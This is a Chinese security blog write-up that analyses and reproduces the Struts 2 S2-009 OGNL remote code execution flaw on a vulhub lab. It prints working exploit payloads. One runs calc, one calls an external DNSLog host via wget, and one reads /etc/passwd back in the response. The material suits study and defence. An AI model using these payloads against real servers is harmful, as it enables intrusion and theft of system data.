Struts2-009漏洞复现
本文最后更新于 2024-10-09,文章内容可能已经过时。
Struts 2 漏洞—— S2-009 漏洞复现
一、漏洞简介
S2-009 是对 S2-005 的绕过,不同的是 S2-003 与 S2-005 都在 ParametersInterceptor 拦截器中检查传入的参数名是否合法,不会检查参数值。而S2-009漏洞就是攻击者先将恶意 OGNL 表达式设置为参数值公开的任何字符串变量中,而后通过某个特定语法取出并执行之前设置过的 OGNL 表达式。
漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-009
影响版本:Struts 2.0.0 - Struts 2.3.1.1
二、原理概述
漏洞环境为jdk1.8 + Struts 2.0.11.2 + tomcat 6.0.9,在IDEA中参照前面我们 S2-003 实验环境部署一个简单的Strust2项目,也可以直接使用 S2-003 中相关代码,只替换 lib 中的jar包为 Struts 2.3.1中 lib 目录下的相关jar包即可,相关文件下载地址如下:
Struts 2.3.1:http://archive.apache.org/dist/struts/binaries/struts-2.3.1-all.zip
tomcat 6.0.9:https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.9/bin/apache-tomcat-6.0.9.zip
S2-009 还是由于 Struts 2 会将 HTTP 请求的每个参数名解析为OGNL表达式执行,S2-003 与 S2-005 修复后 Struts 对参数名的过滤更加严格,只允许使用字母、数字以及部分特殊字符,而特殊字符只能为” ’ ( ) [ ] “,即单引号、小括号、中括号。其定义的过滤正则在 com.opensymphony.xwork2.interceptor.ParametersInterceptor
中定义,如下:
所以我们无法像S2-003或S2-005那样通过直接在参数名中使用 \u0023 来绕过,而 **S2-009 则是将 OGNL 表达式先放进 action 接收的参数中,然后再使用特殊方法取出存放的参数值,参数值 Strust 2 是未做严格校验的。**这里使用自己编写一个 TestAction,其接收一个 String 类型的参数 username,先将要执行命令 (calc) 的表达式放入 username 中,后续再通过特殊方式取出。我们使用如下 POC 来进行调试分析。
http://localhost:8888/s2_009_war_exploded/test.action?username=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z[%28username%29%28%27meh%27%29]=true
发送请求后,还是会先到 com.opensymphony.xwork2.interceptor.ParametersInterceptor
,在其中调用setParameters()
方法来设置参数。在 setParameters() 方法中会使用 acceptableName()
对参数名进行校验,POC中有两个参数,首先会判断参数 username,而后是参数 z[(username)(‘meh’)] 。二者都符合正则,所以会通过。
接着从acceptableParameters中依次取出参数,通过 newStack.setValue(name, value); 处理参数。
经过一系列调用,最后会与 S2-003 一样在 Ognl.class 中调用 setValue() 方法,其根据表达式的类型将其转成 Node 类型,并调用 Node 的 setValue() 方法进一步解析表达式。
newStack.setValue() -> OgnlValue.setValue() -> OgnlValue.trySetValue -> OgnlUtil.setValue() -> Ognl.setValue() -> Node.setValue()
POC前半部分是 username=value会直接将参数保存起来,而后半部分 z[(username)(‘meh’)] 是一个特殊表达式。前面 S2-003 中,我们知道 OGNL 有一些不同类型的语法树(tree),这些在解析表达式的过程中,根据表达式的不同将会使用不同的构造树来进行处理。而 S2-009 使用的是 one[(two)(three)] 这种形式,在 OGNL 解析这个表达式时,整体会当成 ASTChain,而后会解析成为两个 ASTProperty —— one 和 [(two)(three)]即 z 与 [(username)(‘meh’)] ,然后分别调用 ASTProperty 的 setValue 方法,经过一系列的调用,最后调用 getProperty() 方法获取值,并调用 OgnlRuntime.getProperty() 获取对应的属性。
z 在 root 对象中找不到所以值为空,而 [(username)(‘meh’)] 中会先执行 (useranme),而 username 前面已经保存,所以可以取出。如下:
而这部分内容就是我们分析 S2-003 时所说的 ASTEval,即 (one)(two) 形式。而后经过相关处理后,会调用ASTEval 的 getValueBody() 方法处理,会将 two 中内容(meh)作为 one 的 root 对象来执行 one 对应的表达式。
表达式中还是要先设置 denyMethodExecution
与 allowStaticMethodAccess
允许执行方法与静态方法调用,最后再执行弹出计算器的命令。
最终的POC如下:
#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc')
三、漏洞复现
3.1 漏洞环境
攻击机:Windows 10(ip:本机)
被攻击主机:docker环境部署(ip:192.168.219.128)
漏洞环境:
docker部署漏洞环境过程:
1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)
2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。
cd vulhub-master/struts2/s2-009/
docker-compose up -d
3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。
3.2 复现过程
此次复现使用的是vulhub的靶场环境,部署完成后,是一个 struts 2 的功能展示网站,我们需要找到一个接受参数且参数类型是 String 的 action。此处使用的是 http://192.168.91.128:8080/ajax/example5.action,
该页面接收两个参数 name 与 age,其中 name 参数为 String类型。
无回显POC利用
基本方法就是利用DNS的log外带
根据接受的两个参数name和age,构造的poc如下:
age=12&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27wget%20cvtfxb.dnslog.cn%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
-
申请一个DNSLog子域名,执行“ wget 子域名” 的命令进行DNSLog带外。
-
此处我申请的为 cvtfxb.dnslog.cn,则修改执行的命令为 “wget cvtfxb.dnslog.cn”,而后发送请求。
2. 查看DNSLog解析记录,发现有对应查询记录,说明命令执行成功。
有回显POC利用
POC如下:
age=12&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
- 访问example5.action,使用Brup抓包,修改请求参数上述POC,发送。结果如下,成功回显 /etc/passwd 的内容。
四、修复建议
- 更新 Struts 2 版本至漏洞修复版本。
五、参考文章
Struts2:你说你好累,已无法再爱上谁(一)(https://su18.org/post/struts2-1/#s2-009)。
Struts2漏洞集合分析与梳理(http://www.hackdig.com/05/hack-657452.htm)。
S2-009 远程代码执行漏洞(https://github.com/vulhub/vulhub/blob/master/struts2/s2-009/README.zh-cn.md)。
CVE-2011-3923 S2-009复现(https://www.cnblogs.com/peace-and-romance/p/15630630.html)。
- 感谢你赐予我前进的力量